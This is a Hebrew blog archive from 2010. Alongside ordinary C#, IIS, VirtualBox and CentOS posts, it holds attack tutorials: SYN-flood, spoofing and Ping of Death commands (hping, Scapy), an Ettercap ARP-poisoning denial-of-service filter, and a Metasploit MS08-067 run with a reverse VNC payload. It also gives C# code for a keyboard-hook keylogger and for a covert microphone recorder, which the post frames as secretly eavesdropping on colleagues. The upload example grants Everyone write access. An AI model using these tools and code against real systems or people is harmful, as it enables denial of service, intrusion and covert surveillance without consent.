יום שישי, 31 בדצמבר 2010

C# - Image Processing

ב #C ישנם מחלקות לעיבוד תמונה וגרפיקה נוחות עם אפשריות רבות אבל כבדות לעיבוד, לכן ממולץ לשקול את השימוש במחלקות אלו ,במקרים מסויימים מומלץ להשתמש בשפות יותר נמוכות שהביצועים שלהם יותר מהירים, אבל לפעולות פשוטות ניתן להשתמש ב #C , אני ידגים מספר דוגמאות לעיבוד תמונות.

תחילה יש להכיר את מרחב השמות של המחלקות (Namespace):
System.Drawing

אותו מרחב שמות מכיל בתוכו מרחבי שמות נוספים שמכילים מחלקות אחרות, במקרה שלנו נשתמש ב 2 מרחבי שמות נוספים הקיימים במרחב שמות זה.
System.Drawing.Imaging
מרחב השמות לעיבוד תמונות
System.Drawing.Drawing2D
מרחב שמות לעבודה בדו מימד.

מרחבי שמות נוספים שלא אפרט עליהם במאמר הזה:
System.Drawing.Design
System.Drawing.Printing
System.Drawing.Text

שלב א - קריאת הקובץ לעיבוד והכנסתו לזיכרון
עכשיו נעבור על התהליך הבסיסי לעיבוד תמונה ב Net. , התהליך מכיל בתוכו מספר אובייקטים המשוייכים לאותו מרחב שמות שדיברנו לפני זה ובעצם מתחיל, דבר ראשון, מהתמונה שאנחנו רוצים לערוך כלומר המיקום הפיזי שלה על הכונן הקשיח לאחר מכן יש ליצור מהנתיב של התמונה אובייקט Image ששייך למרחב השמות System.Drawing ובעצם נטען אליו את התמונה מהנתיב שלנו.

שלב ב - מיפוי הקובץ לעיבוד והמרה ל Bitmap
השלב הבא הוא למפות את התמונה בעזרת Bitmap כלומר מטריצה של האינפורמציה הפיקסלית בתמונה.

שלב ג - עיבוד
עיבוד התמונה הוא החלק הרציני בכל התהליך, נשתמש במחלקת ה Graphics , זאת המחלקה שבפועל עושה לנו את עיבוד התמונה ע"י המפה שיצרנו לפני.

שלב ד - שמירת הקובץ המעובד
שמירת התמונה המעובדת כקובץ חדש.

הצצה לתהליך (דוגמה להמרה בין סוגי תמונה שונים):
/// Getting our image by source string
Image myimage = Image.FromFile("C:\myimage.png");

/// Getting our bitmap from the image
Bitmap mybitmap = new Bitmap(myimage);

/// Image processing by graphics class
Graphics mygraphics = Graphics.FromImage(myimage);

/// Saving our processing object
mybitmap.Save("C:\myimage1.jpg",ImageFormat.Jpeg);

קצת על הפרויקט:
הפרויקט מכיל בתוכו 2 חלקים, החלק הראשון הוא ה Gui, מורכב מכמה טפסים שיורשים טופס מרכזי עם כל ה Componets ששותפים לכל הטפסים בעזרת Object Oriented Programming.
החלק השני הוא האובייקט שעושה לנו את העבודה ואליו עוברים הנתונים מה Gui, הוא מעבד אותם ומחזיר לנו אובייקט Image מעובד לתצוגה או לשמירה.
הדוגמאות בפרויקט:
  • הקטנה \ הגדלת תמונה
  • חיתוך תמונה
  • שמירת תמונה באיכות שונה
  • סיבוב תמונה
  • שילוב 2 תמונות לתמונה
  • שקיפות התמונה
סרטון הדגמה:

הורדת הפרויקט:

בהצלחה...

יום שני, 27 בדצמבר 2010

Inguma - Starting Guide

כלי Penetration Test נוסף שקיים ב Backtrack ,הוא נכתב ע"י Joxean Koret בשנת 2006 ומאז יצאו מספר גרסאות, גם הוא מבוסס על  שפת Python בדומה ל Scapy, מאפשר מגוון רחב של אפשריות החל מסריקת פורטים עד הפעלת Exploits ו Fuzzers.


 יש לכלי הזה הרבה אפשריות נחמדות שניתן להשיג גם בכלים אחרים אבל עדיין הוא מומלץ לשימוש לפי דעתי בגלל הפשטות והיעילות שלו, הוא מכסה התקפות רבות, ובשנת 2007 נבחר מקום שני כתוכנת האבטחה הטובה ביותר ע"י security-database.com.

התוכנה מאוד מזכירה את Scapy בצורת העבודה, ובעצם עובדים עם אובייקטים ופקודות כחלק מ Python וגם פה יש לנו אובייקט שאותו צריך להגדיר בשונה מ Scapy שעשתה לנו חבילות מידע "מלוכלכות" פה האובייקט לא מדבר על ה Packet עצמו אלא יותר בכיוון המכונה שאנו מעוניינים לתקוף ובעצם הפרמטרים הרבה יותר פשוטים להעמסה ולא צריך להיות גאון Tcp/ip  על מנת להפעיל אותה.

הכלי נוגע במספר עולמות:

  • חשיפות של שירותים על הקורבן.
  • איסוף אינפורמציה על הקורבן.
  • התקפות Brute Force על הקורבן.
  • הפעלות Fuzzer על תוכנות שרצות על הקורבן.
  • הפעלת Exploits על הקורבן.
inguma> show options
מציגה לנו את האובייקט של המטרה שלנו



העמסת המטרה:
inguma> target = '192.168.1.105'

בחירת Port:
inguma> port = 80


פונקציות:

inguma> identify
יחזיר לנו את ה Service שעובד על הפורט.

inguma> tcpscan
יחזיר לנו את הפורטים שפתוחים לנו במכונה בפרוטוקול Tcp

inguma> isnated
אם הפורט מאחורי NAT

inguma> whois
חיפוש של ה Hostname בשרתי Dns.

inguma> arping
קבלת MAC address של המטרה.

inguma> fakearp
זיוף Arp

inguma> nikto
חיפוש קבצים לא מאובטחים על ה Web server

inguma> arppoison
Arp Poisoning

קיימים בתוכו עוד מספר כלים נוספים כמו: Sniffer, Smbclient ולהם אפשריות נפרדות.
inguma> sniffer
SNIFFER> help
SNIFFER> run




יש 2 תוספות נוספות ,הן מופעלות בנפרד ומשתמשות בסקריפטים של Inguma:

OpenCid - כלי לחיפוש חולשות אבטחה בקבצים בינארים.
Krash - זה הוא ה Fuzzer שמגיע עם Inguma שעליו אני אפרט איך לתקוף Web server.

שלב ראשון - הכנות:
לכידת Packet של ה Get  שעוברת מהתוקף לנתקף, ניתן לבצע את הלכידה בעזרת WireShark.



ה Packet שלנו יראה משהו כזה



נשמור את הקובץ לדוגמה: http_packet.http בספריה
#: /pentest/exploits/inguma/krash/audits/http_packet.http

שלב שני - הפעלת ה Fuzzer:
#: /pentest/exploits/inguma/krash/ ./krash.py audits/http_packet.http 192.168.1.105 0

שלב שלישי - בדיקות:
ה Fuzzer יערבל לנו את ה Packet ויוסיף לתוכו תוספות שבעזרתם ינסה להפיל את השירות של ה Web Server על מנת לראות אם זה עובד נחזור בחזרה ל WireShark ונראה אם תוכן ה Packet המקורי שאספנו בהתחלה השתנה.



לאתר Inguma

בהצלחה... 

יום שבת, 18 בדצמבר 2010

File Upload With Flex And IIS 7

העברת קבצים ב Flash זה עניין מסובך שמצריך הכנות ובדיקות, התהליך מורכב מ 3 שלבים , השלב הראשון הוא ההגדרות של המערכת: IIS,הרשאות כתיבה בספריות ופתיחת פורטים השלב הבא הוא פיתוח האתר שאיתו ה Flex הולך לדבר, ושלב אחרון הוא פיתוח מנגנון העלאה ב Flex.

הגדרות מערכת
תחילה יש להגדיר את גודל המידע שיכול לעבור ואח"כ את גודל כל דרישה בשביל אותו מידע , ב IIS7  גודל המידע ה Default הוא  30 מגה ,אבל ניתן לדרוס את הפרמטר הזה בקובץ ApplicationHost שהוא בעצם קובץ XML שמכיל את הפרמטרים של ה IIS, בזמן טעינת האתר ה IIS טוען את הקובץ ולאחר מכן הוא טוען את ה Web.Config שמכילים את הפרמטרים של האתר העצמו.

ApplicationHost.config
תחילה נערוך את קובץ
C:\Windows\System32\inetsrv\config\applicationHost.config

נחפש את הבלוק שמגדיר את האתר שלנו ב ApplicationHost  (חשוב מאוד לגבות את הקובץ!) :

<location path="Your Website Name">
        <system.webserver>
           <security>
                        <requestfiltering>
                        <requestlimits maxallowedcontentlength="104857600">
                        </requestfiltering>
          </security>
          </system.webserver>
</location>
 
ברוב המצבים תגית האתר כבר מוגדרת ויש לוודא שקיימת גם תגית ה Security ואם לא להוסיף אותה.
ניתן לעשות את התהליך גם ב AppCmd שהיא אפליקצית Console שמגיע עם ה IIS 7 וניתן בעזרת לערוך את קובץ ה ApplicationHost ללא צורך לפתוח אותו , ובעצם למנוע תקלות בעקבות כתיבה לא נכונה.
 
C:\Windows\System32\inetsrv>appcmd set config "Your Website Name" -section:requestFiltering -requestLimits.maxAllowedContentLength:104857600 -commitpath:apphost
 
maxAllowedContentLength:104857600 מגדיר גודל של המידע שניתן להעביר, במקרה שלנו הגדלנו אותו ל 100 MB.
 
Web.config
נוסיף את הבלוק הבא בתוך התגית <system.web>(חשוב מאוד לגבות את הקובץ!) :
<httpRuntime executionTimeout="90" maxRequestLength="4096" />

maxRequestLength=2097151 הגדרנו את גודל של בקשה, בעצם 2 מגה.

Asp.net

האתר שלנו הוא מבוסס על Asp.net , המבנה שלו מאוד פשוט יש לנו ספרייה שמאחסנת לנו את הקבצים שנעלה לשרת, חשוב מאוד לתת לה הרשאות על מנת שנוכל לכתוב לספרייה, לצורך הדוגמה ניתן גישה ל Everyone.

יש לנו 2 קבצי Asp.net באתר ,הראשון הוא ה Upload Handler שתוכנת ה Flex שלנו מתחברת על מנת לשלוח את הקובץ לשרת, ודף נוסף שמציג לנו את ה Uploader עצמו.

upload_handler.aspx.cs

פונקציה אחת שבעצם שומרת לנו את הקבצים שאנו שולחים לספריית האחסון.

 protected void Page_Load(object sender, EventArgs e)
{
       string fileName = System.IO.Path.GetFileName(Request.Files[i].FileName);
       Request.Files[i].SaveAs(Server.MapPath("~/UploadedFiles/") + fileName);
upload_manager.aspx
דף שמכיל לנו את אובייקט ה Flesh  שמעלה קבצים.
חשוב מאוד להגדיר Cross Domain Policy , שנוכל להעלות מכל שרת, או מרשתות שמורשות לכך.

Flex

אפליקצית ה Flex מורכבת ממספר פונקציות:
פונקצית Start
זאת הפוקציה שמתחילה את התוכנה ומוסיפה מאיזינים (listeners) עבור אירועים בכפתורים.

פונקצית eventRespnse
פותחת לנו את ה File Dialog שנוכל לבחור קבצים.

פונקצית selectResponse
מחזירה לנו את כל הקבצים שנבחרו להעלאה.

פונקצית UploadFiles
הפונקציה ששולחת את הקובץ לשרת, תחילה היא קוראת לקובץ upload_handler ואח"כ מתחילה בשליחת הקובץ.

פונקצית uploadComplete
כשהעלאת הקובץ מסתיימת, עולה לנו אירוע שאומר שאפשר לשלוח את הקובץ הבא.

Gui
הממשק מורכב מ - Button,Labels,Progress Bar


סרטון הדגמה:


קוד להורדה:

בהצלחה...

יום שלישי, 14 בדצמבר 2010

Hping - Starting Guide

פלטפורה שמזכירה מאוד את Scapy , רק שפה לא מדובר בכתיבת קוד ב Python אלא בתוכנה של ממש המקבלת Arguments , התכונה העיקרית כמו אצל Scapy והיא יצור של חבילות מידע "מלוכלכות" על מנת לבדוק מערכות: FireWall, IPS,IDS ועוד.
מגוון האפשריות בה מצומצם אך עדיין יעיל מאוד, מאפשרת שימוש בפרוטוקולים: TCP,ICMP,IP,UDP ועבודה עם קבצים ,צורת העבודה ידידותית מאשר מ Scapy מה שהופך אותה לכלי פופולרי מאוד בקרב האקרים.
המאמר נכתב על BackTrack 4.

תחילה נפתח חלון Console ונרשום:
#: haping -help
נראה את כל הפרמטרים להעמסה בתוכנה.

Syn-Flood Attack
#: hping -i u1 -S -p 80 192.168.1.105

שליחה מאוד מהירה של חבילות מידע עם דגל Syn , שבפועל יוצר עומס על הקורבן עד שמבאים ל Denial Of Service, בעקבות עומס על המעבד, אחרי שהבנו מה שלחנו נפרק את המשפט לחלקים:

-i u1 - Interval
מספר חבילות פרק זמן למשל u10000 זה 10 חבילות בשניה.

-S - Syn Flag
פרמטר זה קובע שהחבילה שלנו היא Syn אבל ניתן לבחור חבילות נוספות Syn,Rst,Fin,Push,Ack,Urg,Xmas.

-p - Dest Port
הפורט של הקורבן.

Port Scan
#: hping 192.168.1.105 -V --scan 100-110

סריקת פורטים של הקורבן בין פורט 100 ל 110


Spoof
#: hping 192.168.1.105 --udp --spoof 192.168.1.150

שליחת חבילות מידע מכתובת מזויפת.


2Flags Packet
#: hping 192.168.1.105 -S -A -V -p 443

שליחה חבילה עם דגל נוסף
סרטון הדגמה:

בהצלחה...

יום שני, 13 בדצמבר 2010

Scapy - Starting Guide

אחד הכלים המומלצים ליצירת Packets "מלוכלכים", חבילות מידע העוברות ברשת ויכולות ליצור תקלות מכוונות על מנת לבצע מגוון רחב של התקפות כמו: Denial Of Service, Exploits,Arp Poisoning ועוד.
היא מבוססת על שפת Python, ניתנת לשינוי ע"י המשתמש, כמובן כל הפרויקט הוא Open Source ובעצם היא ערכת סקריפטים ענקית וניתן להריץ בה Exploits  בכמה שורות מאשר לכתוב את ה Exploit ב C, עושים בה המון בדיקות חדירות ובדיקות למערכות IPS / IDS כמו SNORT.

מאמר זה נעשה על Backtrack 4:


המערכת פותחת לנו Command Line של Python ועכשיו נשתמש לנו באובייקטים של Scapy.

פקודת conf:
מראה לנו את הפרמטרים הגלובלים לתוכנה וניתנים לשינוי ע"י המשתמש.
>>> conf
>>> conf.session = '1'
עכשיו בעצם שינינו את ה Session לערך 1.

פקודת ()ls:
מציגה את רשימת ה Packets השמורים ב Scapy שאותם המשתמש יכול לשנות ע"פ רצונו.

בניית אובייקט IP:
הצהרה על האובייקט
>>> ip = IP(dst="192.168.1.105")
הגדרנו אובייקט של IP שמצביע על כל הכתובת שאותה אנחנו רוצים לתקוף.
>>>ip.show()
מציג לנו את הפרמטרים שניתנים לשינוי בתוך האובייקט.


במקרה שנרצה לעשות Spoof נשנה את ה src לאיזה כתובת שנרצה להתחזות לה.
>>> ip.src = "77.120.20.12"

יצירת אובייקט Protocol:
הצהרה על הפרוטוקול
>>> p = TCP()
יצרנו אובייקט מסוג פרוטוקול של TCP, אבל ניתן להגדיר סוגים רבים של פרטוקלים כמו ICMP,UDP,PPP ועוד.

הצגת הפרמטרים של הפרוטוקול
>>> p.show()

ניתן לשנות את הפרמטרים של הפרוטוקול באובייקט
>>> p.flags ="FS"

הצהרנו על הדגלים של Fin ו Syn שבעצם צירופם ביחד הוא לא הגיוני מבחינת מבנה הפרוטוקול, Fin מגדיר סיום תקשורת עם השולח וSyn מנסה לפתוח חיבור עם השולח ולכן הם מנוגדים או שילוב של Fin ו Rst שבצם סוגר את החיבור ומנסה לעשות Reset לחיבור שכבר סגור, ניתן לבדוק בעזרת שילובים אלה כיצד מערכת ההפעלה או ה Firewall מגיבים.

שליחת ה Packet:
>>> send(ip/p)
ניתן לשלוח את ה Packet מספר פעמים
>>> send([ip/p] * 300)
שלחנו את החבילה 300 פעמים.



התקפות נוספות לדוגמה:
Port Scan:
res,unasns = sr(IP(dst="192.168.1.1") /TCP(flags="S",dport(1,1024)))

Ping Of Death:
for p in fragment(IP(dst="192.168.1.1")/ICMP()/("X"*60000)):send(p)

Request MAC Address:
res,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /ARP(pdst="192.168.1.0/24"))
 
*ניתן לקבל תוצאות לתוך משתנה לדוגמה res שלמעלה , על מנת להציג את התוצאות נרשום
res.show()
 
לאתר Scapy:
 
בהצלחה...

יום שבת, 11 בדצמבר 2010

Ettercap - Denial Of Service Attack

Ettercap היא חבילת כלים של Man In The Middle Attack עבור רשתות , ניתן לבצע Sniffing ו Filtering לחיבורים קיימים בעזרת Arp Poisoning ,החבילה הזאת נמצאת בשוק כבר משנת 2001 , ובהחלט יצרה באז רציני בנושא, היא באה כחלק מ BackTack אבל ניתן להוריד אותה לכל מערכת Linux וגם לה יש ממשקים שונים: Ettercap שבסגנון ה Console ו Ettercap-GTK שהוא ה Gui ומאוד נוח.

במאמר זה אני יסביר כיצד ניתן לבצע התקפת Denial Of Service על מחשב שנמצא איתנו ברשת, תחילה יש לכתוב לנו סקריפט שיבצע את הפעולה, הסקריפט שלנו הולך להפיל כל Packet שהיעד שלה הוא הקורבן שלנו:

If(ip.src == '192.168.1.105' || ip.dst == '192.168.1.105')
{
  drop();
  kill();
}
מה שאומרת הפיסת קוד הזאת היא לא משנה אם ה Packet מיועד למכונה 192.168.1.105 או שהמכונה מנסה להוציא Packet החוצה תפיל אותה, נשמור לנו את הקוד כ dos.eft

*למשתמשי BackTrack ניתן לרשום את הקוד בעזרת Kate או בכול עורך טקסט אחר, יש לשמור את הקוד בספריה של Ettercap , אבל גם זה לא חובה.
/usr/share/ettercap

לאחר ששמרנו את הקובץ אנחנו צריכים לעשות לו Compile אחד הכלים שמגיעים עם Ettercap הוא ה EttercapFilter זה כלי שיהפוך את הקוד שרשמנו לסקריפט פעיל.

יש להריץ את הפקודה בתוך הספרייה של Ettercap

root@bt:/usr/share/ettercap# etterfilter dos.eft -o dos.ef



עכשיו לאחר שסיימנו להכין לנו את הקוד של ההתקפה נפעיל את Ettercap.

תחילה נגדיר לנו את הכרטיס שעליו אנחנו רוצים לעבוד Sniff - > Unified Sniffing.


לאחר מכן נעשה סריקה למחשבים שעל הרשת  Host -> Scan for hosts




נוסיף את התחנה שאנו מעוניינים לתקוף ל Target שלנו Target -> Current Targets
נוסיף אותה לקבוצה Target 1




עכשיו על מנת שכל העסק יעבוד צריכים להפעיל את  Arp Poisoning על מנת שכל התקשורת שיוצאת מהמחשב המותקף תעבור קודם דרכנו ורק אח"כ תצא לעולם.
Mitm -> Arp Poisoning
להשאיר את ה CheckBox ריקים.



מה שנשאר לנו לעשות זה להריץ את הסקריפט שלנו Filters -> Load Filter


נבחר לנו את הקובץ ש EttercapFilter יצר לנו dos.ef ובעצם התחלנו את ההתקפה.



לעוד פרטים על Ettercap ניתן להיכנס לאתר הפרויקט:
בהצלחה...

יום שישי, 10 בדצמבר 2010

Windows KeyLogger

תחילה נראה שבלתי אפשרי לפתח KeyLogger בעזרת #C כי צריך לרדת ל Driver של ה Keyborad בתוך ה Kernel או לפתח Driver שהיה משורשר עם ה Driver של ה Keyborad מסתבר שניתן לעשות זאת בעזרת Keyborad Hook, בעצם פנייה לפונקציות שבתוך הספריות של מערכת ההפעלה ולשאוב מהם את המידע בנוגע למקלדת.

תחילה יש להבין עם איזה קבצים של מערכת ההפעלה צריך לעבוד על מנת לאפשר האזנה למקלדת:
User32.dll
Kernel32.dll

הצהרה על External Function:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
 
הצהרה על Delegate שיצביע לנו על הלחיצה על המקלדת:
 
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 
הצהרה על 2 ערכים קבועים:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
 
נחבר את ה Delegate  שעליו הצהרנו מקודם לפונקציה HookCallback
 
 private static LowLevelKeyboardProc _proc = HookCallback;

הפונקציה שתופסת את הערך שחוזר מה Delegate וממירה את integer ל Char

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
   if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
   {
     int vkCode = Marshal.ReadInt32(lParam);
     Console.WriteLine((Keys)vkCode);
     return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
}
 
סרטון הדגמה:

ניתן להוריד את הקוד:
keylogger

ע"פ בדיקות שעשיתי זה עובד גם ב Windows Xp וגם ב Windows 7

בהצלחה...

יום רביעי, 8 בדצמבר 2010

WireTapping Windows

עם כניסת ה Skype ומערכות ה Voip נושא האזנות סתר נהפך להיות עסק פשוט יותר, בעבר היו צריכים להתקין כל מיני מיכשורים בבית או לעלות על הקן דרך המרכזיה של בזק משהו שיחסית סיבך את העסק, היום  האינטרנט והעולם הדיגיטלי חיזק מאוד את נושא הריגול ופתח עולמות חדשים בצורה ,בפשטות ובזמינות.

כיום למרבית האנשים יש מיקרופון שנמצא במחשב אם במחשב נייד מובנה או במחשב נייח שמבצע שיחות ב Skype או דרך Voip.

הדרך להאזנת שיחות היא פשוטה בכל מחשב עם כרטיס קול סטנדרטי יש מיקסר וירטואלי שאחראי לכניסות ויציאות האודיו במחשב בעזרת קוד ומחלקה שנדבר עליה בהמשך ניתן להפעיל את המיקרופון ללא צורך של אישור המשתמש ואפשר להקליט את השיחה ולשלוח אותה לשרת מרוחק ואפילו לשלב אותה עם RootKit על מנת להסתיר לגמרי את תוכנת ההקלטה הקטנה שיצרנו.

השיחות שנקליט הם לא השיחות שעוברות במחשב עצמו אלא את הסביבה שבה המחשב נמצא, נניח שנרצה להאזין לצוות תוכנה שעובד על פרויקט סודי שלאחד מהעובדים יש מיקרופון שאיתו הוא מבצע שיחות עם עובד במדינה מרוחקת בזמנים ששאר הצוות לא נוכח אומנם עשינו חצי דרך ואנחנו מקליטים את כל מה שעובר במיקרופון אבל את מה שעובר לו באוזניות נפספס ולא נשמע למרות שאם מחוברים רמקולים סביר להניח שנצליח לקלוט קצת מהאודיו דרך המיקרופון תלוי עד כמה הוא רגיש אבל את נושא האזנת השיחה במחשב נשמור לפרויקט אחר ,כמו שאמרתי נניח שבזמן שהצוות נמצא אותו עובד שמדבר עם העובד המרוחק לא יוזם את השיחה עדיין נוכל להפעיל במקומו את המיקרופון ולצוטט לשיחות שמנהל הצוות בסביבת עבודה שלו ולרגל לנו אחרי הפרויקט ואם אותו עובד מציג את הפרויקט באיזה הרצאה סודית נוכל להאזין גם לה.

אז איך בדיוק עושים את זה?
אני יסביר איך מתבצע תהליך ההקלטה בלבד, וללא כל תוספות הקשורות בשליחת הקובץ או בהסתרתו.

Winmm.Dll
זאת המחלקה האחראית על האודיו של מערכת ההפעלה.

דבר ראשון הצהרה על פונקציה חיצונית - External Function

 [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]


private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
 
מחלקה זאת מקבלת פקודות כ String וע"פ מה שנשלח היא עובדת.
 
נבנה לנו 2 פונקציות הראשונה מבצעת את ההקלטה והשנייה עוצרת אותה ויוצרת ממנה קובץ:
 
public void record_voice()
{
mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
mciSendString("record recsound", "", 0, 0);
}

public void savefile()
{
mciSendString("save recsound c:\\record.wav", "", 0, 0);
mciSendString("close recsound ", "", 0, 0);
}
*הסימון באדום מסמן את הפקודה שנשלחת כ String.

עכשיו נשאר לנו לתזמן את הפונקציות האלו מתי יתחילו להקליט ומתי הן יסיימו.

ניתן להוריד את הפרויקט לדוגמה:

יום שלישי, 7 בדצמבר 2010

Metasploit Framework Starting Guide



כמו שאמרתי במאמר הקודם על Metasploit ניתן לעבוד עם ה Framework בכמה דרכים, 2 הדרכים הנוחות יותר לעבודה הן ה GUI וה WEB שם הכל מוגש על מגש של זהב מה שנשאר לך זה לבחור את ה Exploit שאתה רוצה ופשוט להפעיל אותו בסביבה כלכך נוחה אבל האקרים אמיתיים מעדיפים את ה Console למרות שלפעמים אתה שואל את עצמך למה?! הרי יש לך ממשקים כלכך נוחים ועדיין מעדיפים את ה Console אבל כנראה שהרגלים לא פשוט לשנות והפעם אני יסביר איך משתמשים ב Console .

אני יסביר את העבודה עם ה Console ע"ג BACKTRACK.

דבר ראשון נפעיל את ה Console



על מנת לראות את כל ה Exploits שב Framework

msf > show exploits
על מנת להשתמש ב Exploit
msf > use windows/smb/ms08_067_netapi

לאחר שבחרנו את ה Exploit נראה איזה Payloads ניתן לטעון בו:
msf > show payloads

על מנת לראות את הפרמטרים שב Exploit
msf > show options

טעינת הפרמטרים בערכים:
msf > set RHOST 192.168.1.105

טעינת ה Payload ל Exploit
msf > set payload windows/vncinject/reverse_tcp

הפעלת ה Exploit
msf > exploit

והפעלתם את ה Exploit.

בהצלחה...

יום שישי, 3 בדצמבר 2010

Laping Version 2

הרבה זמן חיפשתי כלי נוח עבור בדיקת תקשורת של פורטים בין מחשבים, כמובן ישנם המון כלים מהסוג הזה בעולם, החלטתי בסופו של דבר לפתח אחד כזה בעצמי בשימוש פלטפורמה ה .net של מיקרוסופט כ Console Application.



ניתן להוריד את הקוד באופן חופשי ולהשתמש בו בלי שום הגבלות, זה כלי ראשון מסדרת כלים חינמים שאני יוציא עבור הבלוג הזה.

קצת על האפשרויות:

1.בדיקה של מרחב פורטים.
2.כתיבת התוצאות לקובץ.
3.רשימה ידועה של Services.

קצת על הקוד:

שימוש באובייקטים של ה Namespace.system.net
1.TcpClient
2.UdpClient

שימוש באובייקטים של ה Namespace.system.io
1.FileStream
2.StreamWriter

סה"כ הקוד מאוד פשוט.

כיצד משתמשים:

התוכנה מקבלת קבוצת Arguments.

בדיקה של IP ופורט בודד:
laping -i 192.168.1.100 - p 80
בדיקה של מרחב של פורטים:
laping -i 192.168.1.100 -g 1-500
בדיקה של מרחב של פורטים וכתיבה לקובץ:
laping -i 192.168.1.100 -g 1-500 -l c:\portstatus
ניתן לבדוק Service ישירות:
laping -i 192.168.1.100 -s http
מסך העזרה:
laping -h
רשימת Services ידועים:
laping -sh

ניתן להוריד 2 גרסאות שונות:

ניתן להוריד את הקוד:

סרטון הדגמה:

בהצלחה...

יום שבת, 27 בנובמבר 2010

Metasploit Framework



אחד הכלים החזקים שקיימים ל Penetration Test , בעצם איחוד של המון סוגי פריצות בשפות שונות ל Framework מרכזי, ניתן לבצע מגוון סוגים של פריצות עבור מערכות הפעלה שונות.

במאמר זה נעשה סקירה מהירה כיצד בדיוק עובדים עם המערכת ואת התוצאה הסופית של הפריצה.

ה Framework מגיעה מובנה עם גרסאות של המערכת BackTrack אך ניתן להוריד אותו למערכות לינוקס אחרות וכמובן גרסת Windows, המערכת מגוונת בממשקים שלה ניתן לעבוד איתה ב 3 ממשקים שונים - Console,Web,Gui
לאתר Metasploit

הקורבן שלנו הוא Windows Server 2003 SP2.

תחילה יש לבחור את ה Exploit שאיתו נבצע את הפריצה אחד הנפוצים לשימוש במערכות Windows הוא: MS08_067_NETAPI שמבוסס על הפרוטוקול SMB - server message block.

לאחר מכן נגדיר את הפרמטרים RHOST למכונה שאותה אנו מעונינים לפרוץ במקרה שלנו ל Windows server 2003 שבכתובת 192.168.1.108.

נשאר לנו לבחור מה בדיוק אנחנו רוצים שהפריצה תעשה (PAYLOAD) - לפתוח לנו Command Line מרוחק , לפתוח לנו חיבור מרוחק ב VNC והמון אפשריות אחרות.

לסיום נריץ את ה Exploit.

יום שישי, 26 בנובמבר 2010

BackTrack 4 Network VirtualBox


התקנתי BackTrack 4 ע"ג מכונה שהגדרתי על ה VirualBox , מסתבר שבניגוד לגרסה 3 מגיעה ערכת התקנה נוחה, לאחר שהתקנתי ה BackTrack אפשריות הרשת שלה מכובות ולא הצלחתי לקבל כתובת מ DHCP.

דבר ראשון בדקתי את ההגדרות ב VirtualBox.


נגדיר את הכרטיס רשת כ Bridged Adapter על מנת שנוכל לקבל כתובת מה DHCP.

נריץ את הפקודה הבאה:

#: /etc/init.d/networking start


המערכת תחפש כרטיסי רשת חדשים שירשמו לקובץ Interface נציג את קובץ:
#: cat /etc/network/interfaces


ניתן לערוך את קובץ ה Interfaces לצורך הגדרת כתובת Static:
 
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.1
broadcast 192.168.1.255
gateway 192.168.1.1

או למחוק כרטיסי רשת שלא רלוונטים.


ניתן לבצע את הפקדות האלו ישירות ב BOOT ע"י הפקודה הבאה:
#: update-rc.d networking defaults
בהצלחה...

יום ראשון, 21 בנובמבר 2010

VirtualBox Screen Size

התקנתי VirtualBox ויצרתי מכונה חדשה מסוג Linux, כשהפעלתי את ה KDE של Fedora גילתי שגודל המסך המירבי שלי הוא 800x600 , שמקשה מאוד על העבודה, קיימים המון דרכים לחיבור מרחוק, אבל רציתי לפתור את הבעיה דרך ה Host ולא דרך ה Service.

מסתבר שהדרך לפתרון היא די פשוטה , דבר ראשון מומלץ להוריד את Install Guest Additions , תוכנה שמוסיפה כלים ואפשריות נוספות בין ה Host למכונה שלנו.


ה Host מוריד למכונה שלנו ISO שמכיל את הגרסאות של התוכנה, נבחר את המערכת ההפעלה הרצויה במקרה שלי Linux , ונריץ את ההתקנה:



#: sudo sh /usr/vboxlinuxadditions.sh

לאחר מכן יש לערוך את קובץ  xorg.conf שנמצא:
/etc/X11/xorg.conf

יש לערוך את הבלוק הזה:

Section "Screen"
  SubSection "Display"
    Depth      24
    Modes   "1920x1080"  "1024x786" "800x600" "640x480"
  EndSubSection
  Device       "Device[0]"
  Identifier   "Screen[0]"
  Monitor      "Monitor[0]"
EndSection

השורה המסומנת באדום מסמנת את הגדרות הריזולציה שברצוננו להשתמש, נשמור את הקובץ ונפעיל מחדש, חשוב מאוד!! לגבות את Xorg.conf ,הגדרה של ריזולציה שלא נתמכת ע"י הכרטיס מסך של ה Host עלולה להפיל את מערכת ההפעלה.

יום רביעי, 10 בנובמבר 2010

CentOs - Installing KDE

מרבית מערכות הלינוקס היום מגיעות עם KDE מוטמע כחלק מההתקנה הראשונית, לא מזמן נתקלתי בגרסת של CentOs שלא כוללת ממשק גראפי ונאלצתי להתקין אותו בעצמי, יש 2 יצרנים מובלים עובר ממשקים גראפים ללינוקס הראשון נקרא KDE , והשני GNOME.

התקנת Gnome:
#:  yum groupinstall "X Window System" "GNOME Desktop Environment"

התקנת KDE:
#: yum groupinstall "X Window System" "KDE (K Desktop Environment)"

יש לערוך את קובץ Inittab ולשנות את פרמטר ID:

#: nano /etc/inittab
id:3:intdefault:
נשנה את הפרמטר:
id:5:intdefault:

בנוסף נערוך את הקובץ ונוסיף או נשנה את השורות הבאות:
#: nano /etc/sysconfig/desktop

נבחר את הממשק שברצננו לעבוד, כלומר במערכת לינוקס אחת יכולים להיות לנו יותר ממשק גראפי אחד.

